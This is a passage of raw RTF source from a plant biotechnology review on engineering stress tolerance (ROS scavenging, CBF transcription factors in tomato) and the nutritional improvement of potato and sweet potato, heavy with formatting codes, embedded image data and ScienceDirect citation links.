{\sp{\sn fFlipV}{\sv 0}}{\sp{\sn pibFlags}{\sv 1}}{\sp{\sn fLine}{\sv 0}}{\sp{\sn wzDescription}{\sv radical dot}}{\sp{\sn fLayoutInCell}{\sv 1}}{\sp{\sn fLayoutInCell}{\sv 1}}}\picscalex100\picscaley100\piccropl0\piccropr0\piccropt0\piccropb0
\picw132\pich79\picwgoal75\pichgoal45\pngblip\bliptag-1586562345{\*\blipuid a16efad7b48c06e65c24df5390e6e9bc}89504e470d0a1a0a0000000d4948445200000005000000030403000000a918d8cb00000030504c54450000002020205f5f5fa4a4a4d2d2d2e6e6e6f7f7f7ffff
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{\pict\picscalex109\picscaley91\piccropl0\piccropr0\piccropt0\piccropb0\picw132\pich79\picwgoal75\pichgoal45\wmetafile8\bliptag-1586562345{\*\blipuid a16efad7b48c06e65c24df5390e6e9bc}
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\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\super\insrsid4943116\charrsid16345645 \u8722\&#039;2d}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
), hydrogen peroxide (H}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\sub\insrsid4943116\charrsid16345645 2}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 O}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\sub\insrsid4943116\charrsid16345645 2}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 ) and hydroxyl radicals (OH}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid2622313\charrsid16345645 
INCLUDEPICTURE &quot;E:\\\\majid 2_files\\\\rad.gif&quot; \\* MERGEFORMAT}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  }}{\fldrslt {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\shppict
{\pict{\*\picprop\shplid1026{\sp{\sn shapeType}{\sv 75}}{\sp{\sn fFlipH}{\sv 0}}{\sp{\sn fFlipV}{\sv 0}}{\sp{\sn pibFlags}{\sv 1}}{\sp{\sn fLine}{\sv 0}}{\sp{\sn wzDescription}{\sv radical dot}}{\sp{\sn fLayoutInCell}{\sv 1}}
{\sp{\sn fLayoutInCell}{\sv 1}}}\picscalex100\picscaley100\piccropl0\piccropr0\piccropt0\piccropb0\picw132\pich79\picwgoal75\pichgoal45\pngblip\bliptag-1586562345{\*\blipuid a16efad7b48c06e65c24df5390e6e9bc}
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{\pict\picscalex109\picscaley91\piccropl0\piccropr0\piccropt0\piccropb0\picw132\pich79\picwgoal75\pichgoal45\wmetafile8\bliptag-1586562345{\*\blipuid a16efad7b48c06e65c24df5390e6e9bc}
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00000000000000000000000000000000000000000000000000000000000000000000000000000000000000001202100210001007120210000800000026060f000600544e50500701040000002701ffff030000000000}}}}}\sectd \ltrsect
\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \f43\fs20\insrsid4943116\charrsid16345645 
), which result in irreversible damage to nucleic acids, proteins and membranes. ROS detoxification through non-enzymatic antioxidants (ascorbate, \&#039;e1-tocopherol, glutathione, etc.) and enzymatic antioxidants (superoxide d}{\rtlch\fcs1 \af0\afs20 
\ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 ismutase, catalase, and enzymes of ascorbate-glutathione cycle) is an important strategy of plants to tolerate abiotic stresses}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid3894945\charrsid16345645 
{\*\bkmkstart bbib54}{\*\bkmkend bbib54}.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 Hence, several attempts have been made to engineer stress tolerant plants by enhancing ROS scavenging capacity of pl
ants. Inhibition of catalase by antisense RNA increases susceptibility to oxidative stress and chilling injury in transgenic tomato plants. In contrast, transgenic tomato plants ectopically expressing }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 
\i\fs20\insrsid4943116\charrsid16345645 Arabidopsis thaliana CBF1,}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  showed enhanced tolerance to oxidative stress, as }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 
\i\fs20\insrsid4943116\charrsid16345645 CBF1}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  over-expression induced a high level of expression of a catalase gene in these transgenic tomato plants ({\*\bkmkstart bbib31}}
{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%
2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib31&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid15082596\charrsid16345645 {\*\datafield 
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\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Hsieh }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 
., 2002a}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  and {\*\bkmkstart bbib32}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 
\ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi
=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib32&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
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0038003200310038003100380026006d00640035003d00320034003800360062006100610030003300310030006200380065006400350063006400630035006500340030003300390039003400620036003700380036000000060000006200690062003300320000000000000000000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Hsieh }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 
., 2002b}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 ).
\par }\pard\plain \ltrpar\s4\qj \li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel3\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \ab\af0\afs24\alang1025 \ltrch\fcs0 
\b\fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 {\*\bkmkstart SECX7}{\*\bkmkend SECX7}5. Transcriptome engineering
\par }\pard\plain \ltrpar\s25\qj \fi-1440\li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13569895\charrsid16345645 \tab \tab }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
Transcriptome engineering or overexpression of a master switch gene (such as stress sensors, protein kinases or transcription factors) that regulate several target genes coding for osmolyte biosynthesis enzymes, anti
oxidant enzymes and stress proteins such as late embryogenesis abundant proteins, is emerging as an important tool to combat abiotic stresses. Stress-induced transcription factors such as C-repeat binding proteins (CBFs) or dehydration responsive element 
binding proteins (DREBs) regulate the expression of many genes for LEA-type proteins, compatible osmolyte biosynthesis and oxidative stress management. Over-expression or stress responsive (}{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 
\i\fs20\insrsid4943116\charrsid16345645 RD29A}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 ) promoter driven expression of }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 CBF3}{\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  gene in transgenic }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 Arabidopsis}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 provided protection against multiple environmental stresses such as cold, salt and drought stresses. Components of the }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 Arabidopsis}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4943116\charrsid16345645  CBF pathway are conserved in }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 B. napus}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 , wheat, rye, and tomato
}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid789124\charrsid16345645 {\*\bkmkstart bbib33}{\*\bkmkend bbib33}. }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 Since tomato is highly sensitive to chilling
 stress, efforts were made to engineer chilling tolerance in tomato by ectopic expression of }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 Arabidopsis CBF1}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4943116\charrsid16345645  driven by a cauliflower mosaic virus 35S promoter. Transgenic tomato plants showed significantly increased chilling tolerance, as measured by survival rate, chlorophyll fluorescence, and radical elongation (}
{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_a
cct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib32&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
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630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d00320034003800360062006100610030003300310030006200380065006400350063006400630035006500340030003300390039003400620036003700380036000000060000006200690062003300320000000000000000000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Hsieh }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 
, 2002b}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 ), as well as water deficit tolerance than that of wild-type tomato plants (}
{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version
=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib31&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
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630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d00320034003800360062006100610030003300310030006200380065006400350063006400630035006500340030003300390039003400620036003700380036000000060000006200690062003300310000000000000000000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Hsieh }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 
, 2002a}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 ). These transgenic tomato plants produced more proline under
 drought stress and also showed oxidative stress tolerance both under chilling and drought stress ({\*\bkmkend bbib31}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=se
arch&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib31&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
410072007400690063006c006500550052004c0026005f007500640069003d00420036005400430033002d0034004a0032004a0033004b004d002d00320026005f0075007300650072003d00320038003200310038003100380026005f0063006f0076006500720044006100740065003d0030003200250032004600300036
00250032004600320030003000360026005f00720064006f0063003d00310026005f0066006d0074003d00660075006c006c0026005f006f007200690067003d0073006500610072006300680026005f006300640069003d00350031003500390026005f0073006f00720074003d00640026005f0064006f00630061006e00
630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d00320034003800360062006100610030003300310030006200380065006400350063006400630035006500340030003300390039003400620036003700380036000000060000006200690062003300310000000000000000000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Hsieh }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 
, 2002a}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  and {\*\bkmkend bbib32}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 
\ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_use
rid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib32&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
410072007400690063006c006500550052004c0026005f007500640069003d00420036005400430033002d0034004a0032004a0033004b004d002d00320026005f0075007300650072003d00320038003200310038003100380026005f0063006f0076006500720044006100740065003d0030003200250032004600300036
00250032004600320030003000360026005f00720064006f0063003d00310026005f0066006d0074003d00660075006c006c0026005f006f007200690067003d0073006500610072006300680026005f006300640069003d00350031003500390026005f0073006f00720074003d00640026005f0064006f00630061006e00
630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d00320034003800360062006100610030003300310030006200380065006400350063006400630035006500340030003300390039003400620036003700380036000000060000006200690062003300320000000000000000000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Hsieh }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 
, 2002b}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 ).
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4218572\charrsid16345645                                              }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 Thus, engineering a single upstrea
m signaling component such as transcription factors, the whole or part of the stress responsive transcriptome can be manipulated in a transgenic plant. Since several effector genes mediate abiotic stress tolerance, transcriptome engineering appears to be 
a viable strategy to engineer multiple stress tolerance in vegetables and other crop plants.
\par }\pard\plain \ltrpar\s3\qj \fi-1440\li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \ab\af0\afs27\alang1025 \ltrch\fcs0 
\b\fs27\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13132569\charrsid16345645 {\*\bkmkstart SECX8}{\*\bkmkend SECX8}  }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11552416\charrsid16345645 
                        }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 Quality improvement
\par }\pard\plain \ltrpar\s4\qj \fi-1440\li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel3\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \ab\af0\afs24\alang1025 \ltrch\fcs0 
\b\fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15940594\charrsid16345645 {\*\bkmkstart SECX9}{\*\bkmkend SECX9}\tab }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
1. Nutritional improvement
\par }\pard\plain \ltrpar\s25\qj \fi-1440\li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4218572\charrsid16345645                                              }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
Plants produce various compounds such as storage proteins, vitamins, flavonoids, carotenoids that perform vital functions for plants and also have nutritional importance for human beings. Veget
ables are a source of minerals, proteins, micronutrients, vitamins, antioxidants, phytosterols and dietary fiber. However, some of the vegetables are deficient in essential amino acids such as methionine and lysine. The amino acid content can be modified 
o
r enhanced by expression of synthetic protein, overexpression of homlogous or heterologus proteins, modifying the amino acid sequence of the protein, or through metabolic engineering. Potato is an important food crop. The nutritive value of potato protein
 is diminished due to deficiency in essential amino acids lysine, tyrosine, and the sulfur-containing amino acids methionine and cysteine. To improve the nutritive value of potato an }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 
\i\fs20\insrsid4943116\charrsid16345645 Amaranthus}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  seed albumin gene }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 AmA1}{\rtlch\fcs1 \af0\afs20 
\ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  has been expressed in transgenic potato tubers. This protein is non-allergenic and rich in all essential amino acids corresponding with WHO standards for human diet requirement ({\*\bkmkstart bbib13}
{\*\bkmkend bbib13}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverD
ate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib13&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
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630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d0032003400380036006200610061003000330031003000620038006500640035006300640063003500650034003000330039003900340062003600370038003600000006000000620069006200310033000000001300e600000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Chakraborty }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\cs18\fs20\cf2\insrsid4943116\charrsid16345645 ., 2000}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 ). Similarly a 292\~
bp artificial gene (}{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 asp-1}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
) encoding a storage protein composed of essential amino acids was introduced in sweet potato. One of the transgenic lines showed a four-fold increase in protein as compared to that of storage roots of the control plants ({\*\bkmkstart bbib22}
{\*\bkmkend bbib22}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_doca
nchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib22&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
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00250032004600320030003000360026005f00720064006f0063003d00310026005f0066006d0074003d00660075006c006c0026005f006f007200690067003d0073006500610072006300680026005f006300640069003d00350031003500390026005f0073006f00720074003d00640026005f0064006f00630061006e00
630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d00320034003800360062006100610030003300310030006200380065006400350063006400630035006500340030003300390039003400620036003700380036000000060000006200690062003200320000000000002000000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Egnin and Prakash, 1997}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
). {\*\bkmkstart bbib83}{\*\bkmkend bbib83}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=
2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib83&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
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00250032004600320030003000360026005f00720064006f0063003d00310026005f0066006d0074003d00660075006c006c0026005f006f007200690067003d0073006500610072006300680026005f006300640069003d00350031003500390026005f0073006f00720074003d00640026005f0064006f00630061006e00
